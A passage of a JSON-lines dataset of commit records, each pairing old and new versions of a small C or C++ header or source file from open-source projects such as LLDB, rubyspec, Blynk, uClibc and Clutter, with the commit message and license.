Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef lldb_VariableList_h_\n#define lldb_VariableList_h_\n\n#include \"lldb\/Core\/ClangForward.h\"\n\nnamespace lldb_private\n{\n    void VerifyDecl (clang::Decl *decl);\n}\n\n#endif\n","subject":"Use full path to ClangForward.h","message":"Use full path to ClangForward.h\n\nFixes Linux build.\n\ngit-svn-id: b33bab8abb5b18c12ee100cd7761ab452d00b2b0@143038 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb"}
{"commit":"fbbb09cbea1e6544890a8bd417e424ee25411d39","old_file":"optional\/capi\/ext\/proc_spec.c","new_file":"optional\/capi\/ext\/proc_spec.c","old_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(val) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(args) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Fix typo in the commit a5312c77.","message":"Fix typo in the commit a5312c77.\n","lang":"C","license":"mit","repos":"calavera\/rubyspec,calavera\/rubyspec"}
{"commit":"41a35717e8ad8900b72dfc4d711954cb73096b50","old_file":"src\/BlynkSimpleTinyGSM.h","new_file":"src\/BlynkSimpleTinyGSM.h","old_contents":"\/**\n * @file       BlynkSimpleTinyGSM.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Nov 2016\n * @brief\n *\n *\/\n\n#ifndef BlynkSimpleTinyGSM_h\n#define BlynkSimpleTinyGSM_h\n\n#ifndef BLYNK_INFO_CONNECTION\n#define BLYNK_INFO_CONNECTION  \"TinyGSM\"\n#endif\n\n#include <Adapters\/BlynkGsmClient.h>\n\nstatic BlynkArduinoClient _blynkTransport;\nBlynkSIM Blynk(_blynkTransport);\n\n#include <BlynkWidgets.h>\n\n#endif\n","new_contents":"\/**\n * @file       BlynkSimpleTinyGSM.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Nov 2016\n * @brief\n *\n *\/\n\n#ifndef BlynkSimpleTinyGSM_h\n#define BlynkSimpleTinyGSM_h\n\n#include <Adapters\/BlynkGsmClient.h>\n\nstatic BlynkArduinoClient _blynkTransport;\nBlynkSIM Blynk(_blynkTransport);\n\n#include <BlynkWidgets.h>\n\n#endif\n","subject":"Move conn. type detection to Adataper","message":"Move conn. type detection to Adataper\n","lang":"C","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library"}
{"commit":"7e94213f86bd5eaae63a052c44f6e573a2c0a614","old_file":"tests\/regression\/00-sanity\/26-strict-loop-enter.c","new_file":"tests\/regression\/00-sanity\/26-strict-loop-enter.c","old_contents":"\/\/PARAM: --disable ana.int.def_exc --enable ana.int.interval --sets solver slr3tp\n\nint g = 0;\n\nint main() {\n  int x;\n\n  for(x=0; x < 50; x++){\n    g = 1;\n  }\n  \/\/ x = [50, 50] after narrow\n  if(x>50){ \/\/ live after widen, but dead after narrow\n    \/\/ node after Pos(x>50) is marked dead at the end\n    \/\/ but the loop is not with x = [51,2147483647]\n    for(int i=0; i<=0; i--){\n      g = 57;\n    }\n  }\n}","new_contents":"\/\/PARAM: --disable ana.int.def_exc --enable ana.int.interval --sets solver slr3tp --enable dbg.debug\n\/\/ dbg.debug manually enabled since update_suite only enables it when it sees normal assertion (without NOWARN)\n#include <assert.h>\n\nint g = 0;\n\nint main() {\n  int x;\n\n  for(x=0; x < 50; x++){\n    g = 1;\n  }\n  \/\/ x = [50, 50] after narrow\n  if(x>50){ \/\/ live after widen, but dead after narrow\n    \/\/ node after Pos(x>50) is marked dead at the end\n    \/\/ but the loop is not with x = [51,2147483647]\n    for(int i=0; i<=0; i--){\n      g = 57;\n    }\n    assert(1); \/\/ NOWARN (unreachable)\n  }\n}","subject":"Add automatic check to sanity\/strict-loop-enter","message":"Add automatic check to sanity\/strict-loop-enter\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"7f3d0c064183fb4eab39ce03f8b21c0efb183c17","old_file":"gavd\/utils.c","new_file":"gavd\/utils.c","old_contents":"\/* Copyright (c) 2011 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include <stdlib.h>\n\n#include \"verbose.h\"\n#include \"utils.h\"\n\nunsigned utils_execute_command(const char *cmd)\n{\n    int result = system(cmd);\n\n    if (result == 0) {\n        verbose_log(0, LOG_WARNING, \"%s: '%s' succeeded.\",\n                    __FUNCTION__, cmd);\n        return 1;\n    } else {\n        if (result == -1) {\n            verbose_log(0, LOG_WARNING,\n                        \"%s: Unable to invoke '%s'.\", __FUNCTION__, cmd);\n        } else if (result != 0) {\n            verbose_log(0, LOG_WARNING,\n                        \"%s: '%s' failed.  Return code: %d.\",\n                        __FUNCTION__, cmd, result);\n        }\n        return 0;\n    }\n}\n","new_contents":"\/* Copyright (c) 2011 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include <stdlib.h>\n\n#include \"verbose.h\"\n#include \"utils.h\"\n\nunsigned utils_execute_command(const char *cmd)\n{\n    int result = system(cmd);\n\n    if (result == 0) {\n        verbose_log(7, LOG_WARNING, \"%s: '%s' succeeded.\",\n                    __FUNCTION__, cmd);\n        return 1;\n    } else {\n        if (result == -1) {\n            verbose_log(0, LOG_WARNING,\n                        \"%s: Unable to invoke '%s'.\", __FUNCTION__, cmd);\n        } else if (result != 0) {\n            verbose_log(0, LOG_WARNING,\n                        \"%s: '%s' failed.  Return code: %d.\",\n                        __FUNCTION__, cmd, result);\n        }\n        return 0;\n    }\n}\n","subject":"Reduce spew when using system().","message":"ADHD: Reduce spew when using system().\n\nDetails\n\n  Increase the verbosity which is required to output messages about\n  the successful use of 'system()'.\n\n  In short, we don't really care about success; if the command\n  executed, it's not really necessary to see each command which is\n  executed at verbosity 0.\n\n  Failures are still reported at verbosity 0.\n\nTesting\n\n  Built ADHD on tegra2_aebl, x86-mario.\n  Visual inspection.\n\nBUG=chromium-os:19558\nTEST=See above.\n\nChange-Id: Ib1743385e7fc54cb29a098b7e0912ca55a292503\nSigned-off-by: Taylor Hutt <39a9c928d8a3a00d7fd484a843cc4ccfc80af42c@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd"}
{"commit":"fc211a706f4b8a87bea164cff7c1f80b95791ba1","old_file":"src\/apps\/S3DAnalyzer\/widgets\/sliderdirectjump.h","new_file":"src\/apps\/S3DAnalyzer\/widgets\/sliderdirectjump.h","old_contents":"#ifndef WIDGETS_SLIDERDIRECTJUMP_H\n#define WIDGETS_SLIDERDIRECTJUMP_H\n\n#include <QSlider>\n\nclass QMouseEvent;\n\nclass SliderDirectJump : public QSlider {\n  Q_OBJECT\n\n public:\n  explicit SliderDirectJump(QWidget* parent = nullptr);\n  explicit SliderDirectJump(Qt::Orientation orientation, QWidget* parent = nullptr);\n  ~SliderDirectJump() override;\n\n  bool isPressed();\n\n signals:\n  void valueClicked(int value);\n\n private:\n  void init();\n\n protected:\n  void mousePressEvent(QMouseEvent* event) override;\n  void mouseReleaseEvent(QMouseEvent* event) override;\n\n  int computeHorizontalValue(int x);\n\n private:\n  bool m_isPressed;\n  int m_handleWidth{0};\n};\n\n#endif  \/\/ WIDGETS_SLIDERDIRECTJUMP_H\n","new_contents":"#ifndef WIDGETS_SLIDERDIRECTJUMP_H\n#define WIDGETS_SLIDERDIRECTJUMP_H\n\n#include <QSlider>\n\nclass QMouseEvent;\n\nclass SliderDirectJump : public QSlider {\n  Q_OBJECT\n\n public:\n  explicit SliderDirectJump(QWidget* parent = nullptr);\n  explicit SliderDirectJump(Qt::Orientation orientation, QWidget* parent = nullptr);\n  ~SliderDirectJump() override;\n\n  bool isPressed();\n\n signals:\n  void valueClicked(int value);\n\n private:\n  void init();\n\n protected:\n  void mousePressEvent(QMouseEvent* event) override;\n  void mouseReleaseEvent(QMouseEvent* event) override;\n\n  int computeHorizontalValue(int x);\n\n private:\n  bool m_isPressed{false};\n  int m_handleWidth{0};\n};\n\n#endif  \/\/ WIDGETS_SLIDERDIRECTJUMP_H\n","subject":"Fix playback slider initially acting as pressed","message":"Fix playback slider initially acting as pressed","lang":"C","license":"bsd-3-clause","repos":"hugbed\/OpenS3D,hugbed\/OpenS3D,hugbed\/OpenS3D,hugbed\/OpenS3D"}
{"commit":"65b1cd480ce57f66f2fdc8527b12b9a24a93f92f","old_file":"test\/periodic\/NdbRadioMult.h","new_file":"test\/periodic\/NdbRadioMult.h","old_contents":"#ifndef RADIOMULT_H\n#define RADIOMULT_H\n\n#include \"NdbMF.h\"\n\n\/* ========= NdbRadioMult ============ *\/\nclass NdbRad  ioMult : public NdbMF\n{\nprotected:\n\npublic:\n   NdbRadioMult()\n      : NdbMF(9, \"Multiplicities for radioactive nuclide production\") {}\n   ~NdbRadioMult() {}\n\n   ClassDef(NdbRadioMult,1)\n}; \/\/ NdbRadioMult\n\n#endif\n","new_contents":"#ifndef RADIOMULT_H\n#define RADIOMULT_H\n\n#include \"NdbMF.h\"\n\n\/* ========= NdbRadioMult ============ *\/\nclass NdbRadioMult : public NdbMF\n{\nprotected:\n\npublic:\n   NdbRadioMult()\n      : NdbMF(9, \"Multiplicities for radioactive nuclide production\") {}\n   ~NdbRadioMult() {}\n\n   ClassDef(NdbRadioMult,1)\n}; \/\/ NdbRadioMult\n\n#endif\n","subject":"Fix typo in tab removal","message":"Fix typo in tab removal\n","lang":"C","license":"lgpl-2.1","repos":"tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot"}
{"commit":"e03d1b21d1f8482072ff3a9db12197b401b3bc56","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.05.00.03-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t5\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.06.00.08-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t6\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update the driver version to 8.06.00.08-k.","message":"[SCSI] qla2xxx: Update the driver version to 8.06.00.08-k.\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: Saurav Kashyap <88d6fd94e71a9ac276fc44f696256f466171a3c0@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"6ef996a3b60c5e85621acb5f1ef9ccf7da6a1925","old_file":"src\/consensus\/consensus.h","new_file":"src\/consensus\/consensus.h","old_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2014 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_CONSENSUS_CONSENSUS_H\n#define BITCOIN_CONSENSUS_CONSENSUS_H\n\n\/** The maximum allowed size for a serialized block, in bytes (network rule) *\/\nstatic const unsigned int MAX_BLOCK_SIZE = 2000000;\n\/** The maximum allowed number of signature check operations in a block (network rule) *\/\nstatic const unsigned int MAX_BLOCK_SIGOPS = MAX_BLOCK_SIZE\/50;\n\/** Coinbase transaction outputs can only be spent after this number of new blocks (network rule) *\/\nstatic const int COINBASE_MATURITY = 100;\n\n\/** Flags for LockTime() *\/\nenum {\n    \/* Use GetMedianTimePast() instead of nTime for end point timestamp. *\/\n    LOCKTIME_MEDIAN_TIME_PAST = (1 << 1),\n};\n\n\/** Used as the flags parameter to CheckFinalTx() in non-consensus code *\/\nstatic const unsigned int STANDARD_LOCKTIME_VERIFY_FLAGS = LOCKTIME_MEDIAN_TIME_PAST;\n\n#endif \/\/ BITCOIN_CONSENSUS_CONSENSUS_H\n","new_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2014 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_CONSENSUS_CONSENSUS_H\n#define BITCOIN_CONSENSUS_CONSENSUS_H\n\n\/** The maximum allowed size for a serialized block, in bytes (network rule) *\/\nstatic const unsigned int MAX_BLOCK_SIZE = 2000000;\n\/** The maximum allowed number of signature check operations in a block (network rule) *\/\nstatic const unsigned int MAX_BLOCK_SIGOPS = 20000;\n\/** Coinbase transaction outputs can only be spent after this number of new blocks (network rule) *\/\nstatic const int COINBASE_MATURITY = 100;\n\n\/** Flags for LockTime() *\/\nenum {\n    \/* Use GetMedianTimePast() instead of nTime for end point timestamp. *\/\n    LOCKTIME_MEDIAN_TIME_PAST = (1 << 1),\n};\n\n\/** Used as the flags parameter to CheckFinalTx() in non-consensus code *\/\nstatic const unsigned int STANDARD_LOCKTIME_VERIFY_FLAGS = LOCKTIME_MEDIAN_TIME_PAST;\n\n#endif \/\/ BITCOIN_CONSENSUS_CONSENSUS_H\n","subject":"Make sigop limit `20000` just as in Bitcoin, ignoring our change to the blocksize limit.","message":"Make sigop limit `20000` just as in Bitcoin, ignoring our change to the blocksize limit.\n","lang":"C","license":"mit","repos":"bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash"}
{"commit":"5952806e050a8494cdff3368b144de206def8780","old_file":"ldso\/ldso\/sh\/dl-syscalls.h","new_file":"ldso\/ldso\/sh\/dl-syscalls.h","old_contents":"\/* We can't use the real errno in ldso, since it has not yet\n * been dynamicly linked in yet. *\/\n#include \"sys\/syscall.h\"\nextern int _dl_errno;\n#undef __set_errno\n#define __set_errno(X) {(_dl_errno) = (X);}\n#warning !!! __always_inline redefined waiting for the fixed gcc\n#ifdef __always_inline\n#undef __always_inline\n#define __always_inline inline\n#endif\n","new_contents":"\/* We can't use the real errno in ldso, since it has not yet\n * been dynamicly linked in yet. *\/\n#include \"sys\/syscall.h\"\nextern int _dl_errno;\n#undef __set_errno\n#define __set_errno(X) {(_dl_errno) = (X);}\n\n#if __GNUC_PREREQ (4, 1)\n#warning !!! gcc 4.1 and later have problems with __always_inline so redefined as inline\n# ifdef __always_inline\n# undef __always_inline\n# define __always_inline inline\n# endif\n#endif\n","subject":"Make sh4 build works again adding a temporary work-around iby redefining __always_inline to inline until gcc 4.x.x will get fixed.","message":"Make sh4 build works again adding a temporary work-around\niby redefining __always_inline to inline until gcc 4.x.x will get\nfixed.\n\nSigned-off-by: Carmelo Amoroso <532378793705a04edd56deb76ad8c0442834d55d@st.com>\n\n","lang":"C","license":"lgpl-2.1","repos":"skristiansson\/uClibc-or1k,waweber\/uclibc-clang,foss-for-synopsys-dwc-arc-processors\/uClibc,m-labs\/uclibc-lm32,OpenInkpot-archive\/iplinux-uclibc,foss-xtensa\/uClibc,hjl-tools\/uClibc,hwoarang\/uClibc,brgl\/uclibc-ng,ysat0\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ndmsystems\/uClibc,m-labs\/uclibc-lm32,czankel\/xtensa-uclibc,ndmsystems\/uClibc,foss-xtensa\/uClibc,wbx-github\/uclibc-ng,wbx-github\/uclibc-ng,czankel\/xtensa-uclibc,brgl\/uclibc-ng,kraj\/uclibc-ng,skristiansson\/uClibc-or1k,groundwater\/uClibc,ddcc\/klee-uclibc-0.9.33.2,ddcc\/klee-uclibc-0.9.33.2,kraj\/uclibc-ng,hwoarang\/uClibc,groundwater\/uClibc,groundwater\/uClibc,hwoarang\/uClibc,skristiansson\/uClibc-or1k,brgl\/uclibc-ng,mephi42\/uClibc,atgreen\/uClibc-moxie,ysat0\/uClibc,hjl-tools\/uClibc,ffainelli\/uClibc,m-labs\/uclibc-lm32,ndmsystems\/uClibc,gittup\/uClibc,ddcc\/klee-uclibc-0.9.33.2,atgreen\/uClibc-moxie,mephi42\/uClibc,ffainelli\/uClibc,mephi42\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,hjl-tools\/uClibc,wbx-github\/uclibc-ng,majek\/uclibc-vx32,ysat0\/uClibc,m-labs\/uclibc-lm32,waweber\/uclibc-clang,atgreen\/uClibc-moxie,czankel\/xtensa-uclibc,hjl-tools\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,majek\/uclibc-vx32,kraj\/uClibc,ffainelli\/uClibc,kraj\/uClibc,foss-xtensa\/uClibc,kraj\/uclibc-ng,hwoarang\/uClibc,kraj\/uClibc,waweber\/uclibc-clang,OpenInkpot-archive\/iplinux-uclibc,ffainelli\/uClibc,majek\/uclibc-vx32,waweber\/uclibc-clang,gittup\/uClibc,foss-xtensa\/uClibc,ddcc\/klee-uclibc-0.9.33.2,brgl\/uclibc-ng,groundwater\/uClibc,kraj\/uclibc-ng,mephi42\/uClibc,hjl-tools\/uClibc,ffainelli\/uClibc,czankel\/xtensa-uclibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ysat0\/uClibc,kraj\/uClibc,groundwater\/uClibc,ndmsystems\/uClibc,atgreen\/uClibc-moxie,gittup\/uClibc,skristiansson\/uClibc-or1k,gittup\/uClibc,OpenInkpot-archive\/iplinux-uclibc,wbx-github\/uclibc-ng,majek\/uclibc-vx32"}
{"commit":"45e7904ad73a41660e38b2a5553e3a24fc1d1d06","old_file":"Classes\/EPSPlayerViewModel.h","new_file":"Classes\/EPSPlayerViewModel.h","old_contents":"\/\/\n\/\/  EPSPlayerViewModel.h\n\/\/  ReactiveAudioPlayer\n\/\/\n\/\/  Created by Peter Stuart on 4\/24\/14.\n\/\/  Copyright (c) 2014 Electric Peel, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <ReactiveCocoa\/ReactiveCocoa.h>\n\n@interface EPSPlayerViewModel : NSObject\n\n@property (nonatomic) NSURL *audioURL;\n\n@property (readonly) NSTimeInterval duration;\n\n@property (readonly) NSTimeInterval currentTime;\n\n@property (readonly) NSString *elapsedTimeString;\n\n@property (readonly) NSString *remainingTimeString;\n\n@property (readonly, getter = isPlaying) BOOL playing;\n\n\/\/ Commands\n\n@property (readonly) RACCommand *playCommand;\n\n@property (readonly) RACCommand *pauseCommand;\n\n@property (readonly) RACCommand *togglePlayPauseCommand;\n\n@property (nonatomic, getter = isSeeking) BOOL seeking;\n\n- (void)seekToTime:(NSTimeInterval)time;\n\n@end\n","new_contents":"\/\/\n\/\/  EPSPlayerViewModel.h\n\/\/  ReactiveAudioPlayer\n\/\/\n\/\/  Created by Peter Stuart on 4\/24\/14.\n\/\/  Copyright (c) 2014 Electric Peel, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <ReactiveCocoa\/ReactiveCocoa.h>\n#import <AVFoundation\/AVFoundation.h>\n\n@interface EPSPlayerViewModel : NSObject\n\n@property (nonatomic) NSURL *audioURL;\n\n@property (readonly) AVPlayer *player;\n\n@property (readonly) NSTimeInterval duration;\n\n@property (readonly) NSTimeInterval currentTime;\n\n@property (readonly) NSString *elapsedTimeString;\n\n@property (readonly) NSString *remainingTimeString;\n\n@property (readonly, getter = isPlaying) BOOL playing;\n\n\/\/ Commands\n\n@property (readonly) RACCommand *playCommand;\n\n@property (readonly) RACCommand *pauseCommand;\n\n@property (readonly) RACCommand *togglePlayPauseCommand;\n\n@property (nonatomic, getter = isSeeking) BOOL seeking;\n\n- (void)seekToTime:(NSTimeInterval)time;\n\n@end\n","subject":"Make the audio player a public property.","message":"Make the audio player a public property.\n","lang":"C","license":"mit","repos":"ElectricPeelSoftware\/EPSReactiveAudioPlayer"}
{"commit":"51f81c9db6ebf9997c49b0a1a48d9ce26c8c303d","old_file":"src\/lib\/miniaudio\/miniaudio.c","new_file":"src\/lib\/miniaudio\/miniaudio.c","old_contents":"#define MINIAUDIO_IMPLEMENTATION\n#define MA_ENABLE_ONLY_SPECIFIC_BACKENDS\n#define MA_ENABLE_WASAPI\n#define MA_ENABLE_PULSEAUDIO\n#define MA_ENABLE_COREAUDIO\n#define MA_ENABLE_AAUDIO\n#define MA_ENABLE_WEBAUDIO\n#define MA_NO_DECODING\n#define MA_NO_ENCODING\n#define MA_NO_GENERATION\n#include \"miniaudio.h\"\n","new_contents":"#define MINIAUDIO_IMPLEMENTATION\n#define MA_ENABLE_ONLY_SPECIFIC_BACKENDS\n#define MA_ENABLE_WASAPI\n#define MA_ENABLE_ALSA\n#define MA_ENABLE_COREAUDIO\n#define MA_ENABLE_AAUDIO\n#define MA_ENABLE_WEBAUDIO\n#define MA_NO_DECODING\n#define MA_NO_ENCODING\n#define MA_NO_GENERATION\n#include \"miniaudio.h\"\n","subject":"Switch back to ALSA on Linux;","message":"Switch back to ALSA on Linux;\n","lang":"C","license":"mit","repos":"bjornbytes\/lovr,bjornbytes\/lovr,bjornbytes\/lovr,bjornbytes\/lovr,bjornbytes\/lovr"}
{"commit":"fe416fb745fe4293e889d5179707051c959af921","old_file":"tests\/conform\/test-conform-common.h","new_file":"tests\/conform\/test-conform-common.h","old_contents":"\n\/* Stuff you put in here is setup once in main() and gets passed around to\n * all test functions and fixture setup\/teardown functions in the data\n * argument *\/\ntypedef struct _TestConformSharedState\n{\n  int\t *argc_addr;\n  char ***argv_addr;\n} TestConformSharedState;\n\n\n\/* This fixture structure is allocated by glib, and before running each test\n * the test_conform_simple_fixture_setup func (see below) is called to\n * initialise it, and test_conform_simple_fixture_teardown is called when\n * the test is finished. *\/\ntypedef struct _TestConformSimpleFixture\n{\n  \/**\/\n} TestConformSimpleFixture;\n\nvoid test_conform_simple_fixture_setup (TestConformSimpleFixture *fixture,\n\t\t\t\t\tgconstpointer data);\nvoid test_conform_simple_fixture_teardown (TestConformSimpleFixture *fixture,\n\t\t\t\t\t   gconstpointer data);\n\n","new_contents":"\n\/* Stuff you put in here is setup once in main() and gets passed around to\n * all test functions and fixture setup\/teardown functions in the data\n * argument *\/\ntypedef struct _TestConformSharedState\n{\n  int\t *argc_addr;\n  char ***argv_addr;\n} TestConformSharedState;\n\n\n\/* This fixture structure is allocated by glib, and before running each test\n * the test_conform_simple_fixture_setup func (see below) is called to\n * initialise it, and test_conform_simple_fixture_teardown is called when\n * the test is finished. *\/\ntypedef struct _TestConformSimpleFixture\n{\n  \/**\/\n  int dummy;\n} TestConformSimpleFixture;\n\nvoid test_conform_simple_fixture_setup (TestConformSimpleFixture *fixture,\n\t\t\t\t\tgconstpointer data);\nvoid test_conform_simple_fixture_teardown (TestConformSimpleFixture *fixture,\n\t\t\t\t\t   gconstpointer data);\n\n","subject":"Add int dummy; to empty struct TestConformSimpleFixture definition.","message":"Add int dummy; to empty struct TestConformSimpleFixture definition.\n","lang":"C","license":"lgpl-2.1","repos":"rkudiyarov\/clutter_osx,djdeath\/clutter,Distrotech\/clutter,kerrickstaley\/clutter-vala,dlespiau\/clutter,spatulasnout\/clutter,spatulasnout\/clutter,heysion\/clutter-clone,nobled\/clutter,spatulasnout\/clutter,Distrotech\/clutter,jigpu\/clutter,nobled\/clutter,kerrickstaley\/clutter-vala,djdeath\/clutter,dlespiau\/clutter,jigpu\/clutter,ebassi\/clutter,heysion\/clutter-clone,kerrickstaley\/clutter-vala,jigpu\/clutter,ebassi\/clutter,heysion\/clutter-clone,GNOME\/clutter,djdeath\/clutter-android,collects\/clutter,jigpu\/clutter,ebassi\/clutter,Distrotech\/clutter,collects\/clutter,djdeath\/clutter-android,djdeath\/clutter,djdeath\/clutter-android,Distrotech\/clutter,djdeath\/clutter-android,Distrotech\/clutter,djdeath\/clutter-multithreaded,GNOME\/clutter,spatulasnout\/clutter,heysion\/clutter-clone,rkudiyarov\/clutter_osx,collects\/clutter,nobled\/clutter,djdeath\/clutter-android,collects\/clutter,GNOME\/clutter,jigpu\/clutter,kerrickstaley\/clutter-vala,dlespiau\/clutter,Distrotech\/clutter,GNOME\/clutter,heysion\/clutter-clone,djdeath\/clutter,rkudiyarov\/clutter_osx,GNOME\/clutter,djdeath\/clutter,ebassi\/clutter,rkudiyarov\/clutter_osx,tardyp\/clutter,tardyp\/clutter,tardyp\/clutter,collects\/clutter,djdeath\/clutter-multithreaded,spatulasnout\/clutter,jigpu\/clutter,djdeath\/clutter-multithreaded,djdeath\/clutter-multithreaded,djdeath\/clutter,ebassi\/clutter"}
{"commit":"a77d6c28473b9f106d5fc2d1d5ca4914e466ac16","old_file":"test\/simpletest_speed\/speedtestplot.h","new_file":"test\/simpletest_speed\/speedtestplot.h","old_contents":"#pragma once\r\n#include <array>\r\n#include <random>\r\n#include \"jkqtplotter\/jkqtplotter.h\"\r\n\r\n\r\n#define NDATA 500\r\n\r\nclass SpeedTestPlot: public JKQtPlotter {\r\n        Q_OBJECT\r\n    protected:\r\n        std::array<double, NDATA> X, Y, Y2;\r\n        const double dx;\r\n        double x0;\r\n        std::chrono::system_clock::time_point t_lastplot;\r\n    public:\r\n        SpeedTestPlot();\r\n\r\n        virtual ~SpeedTestPlot();\r\n    public slots:\r\n        void plotNewData();\r\n};\r\n","new_contents":"#pragma once\r\n#include <array>\r\n#include <random>\r\n#include <chrono>\r\n\r\n#include \"jkqtplotter\/jkqtplotter.h\"\r\n\r\n\r\n#define NDATA 500\r\n\r\nclass SpeedTestPlot: public JKQtPlotter {\r\n        Q_OBJECT\r\n    protected:\r\n        std::array<double, NDATA> X, Y, Y2;\r\n        const double dx;\r\n        double x0;\r\n        std::chrono::system_clock::time_point t_lastplot;\r\n    public:\r\n        SpeedTestPlot();\r\n\r\n        virtual ~SpeedTestPlot();\r\n    public slots:\r\n        void plotNewData();\r\n};\r\n","subject":"Include <chrono> needed for chrono::system_clock","message":"MSVC: Include <chrono> needed for chrono::system_clock\n","lang":"C","license":"lgpl-2.1","repos":"jkriege2\/JKQtPlotter,jkriege2\/JKQtPlotter,jkriege2\/JKQtPlotter"}
